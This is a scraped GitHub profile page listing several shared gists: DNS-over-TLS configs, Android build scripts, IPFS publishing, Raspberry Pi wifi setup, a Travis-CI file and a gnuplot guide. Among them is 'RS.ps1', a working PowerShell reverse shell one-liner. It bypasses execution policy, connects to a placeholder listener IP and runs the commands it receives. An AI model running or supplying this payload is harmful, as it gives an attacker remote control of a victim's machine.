Skip to content

Instantly share code, notes, and snippets.

View denzuko's full-sized avatar
💬
twitter.com/denzuko

Dwight Spencer (denzuko@mastodon.social) denzuko

💬
twitter.com/denzuko
View GitHub Profile
@cpswan
cpswan / named.conf
Last active October 20, 2020 17:47
Unbound/BIND config for DNS over TLS to 1.1.1.1
options {
directory "/tmp";
listen-on-v6 { none; };
forwarders {
127.0.0.1 port 2053;
};
auth-nxdomain no; # conform to RFC1035
@aldemirenes
aldemirenes / android_build_run.sh
Last active May 4, 2023 10:27
Shell scripts for Android development without needing to use Android Studio
#!/bin/sh
package_name=$1
./gradlew assembleDebug
adb -d install -r app/build/outputs/apk/app-debug.apk
adb shell monkey -p "$package_name" -c android.intent.category.LAUNCHER 1
./logcat.sh "$package_name"
@ohpe
ohpe / RS.ps1
Last active August 25, 2021 01:57
PowerShell Reverse Shell
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
@rklaehn
rklaehn / ipfs-publish-remote.sh
Last active July 23, 2019 19:44
Publishing to ipfs/ipns by key
#!/bin/bash
if [ "$#" -ne 3 ]; then
echo "usage:"
echo " ipfs-publish-remote.sh <keyname> <dir> <host>"
echo " example: ipfs-publish-remote.sh keyname output/rootdir user@ipfs.company.net"
exit 1
fi
KEYNAME=$1
DIR=$2
HOST=$3
@tcoupin
tcoupin / user-data
Created October 15, 2017 14:54
Setup wifi with cloud-init on Rpi3
write_files:
- content: |
allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp
path: /etc/network/interfaces.d/wlan0
- content: |
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
@denzuko
denzuko / .travis.yml
Created September 21, 2017 13:45 — forked from BretFisher/.travis.yml
Travis-CI Docker Image Build and Push to AWS ECR
sudo: required #is required to use docker service in travis
language: php #can be any language, just php for example
services:
- docker # required, but travis uses older version of docker :(
install:
- echo "install nothing!" # put your normal pre-testing installs here
@darencard
darencard / gnuplot_quickstart.md
Created August 31, 2017 14:20
A quick-start guide for using gnuplot for in-terminal plotting

A quick-start guide for using gnuplot for in-terminal plotting

Sometimes it is really nice to just take a quick look at some data. However, when working on remote computers, it is a bit of a burden to move data files to a local computer to create a plot in something like R. One solution is to use gnuplot and make a quick plot that is rendered in the terminal. It isn't very pretty by default, but it gets the job done quickly and easily. There are also advanced gnuplot capabilities that aren't covered here at all.

gnuplot has it's own internal syntax that can be fed in as a script, which I won't get into. Here is the very simplified gnuplot code we'll be using:

set terminal dumb size 120, 30; set autoscale; plot '-' using 1:3 with lines notitle

Let's break this down: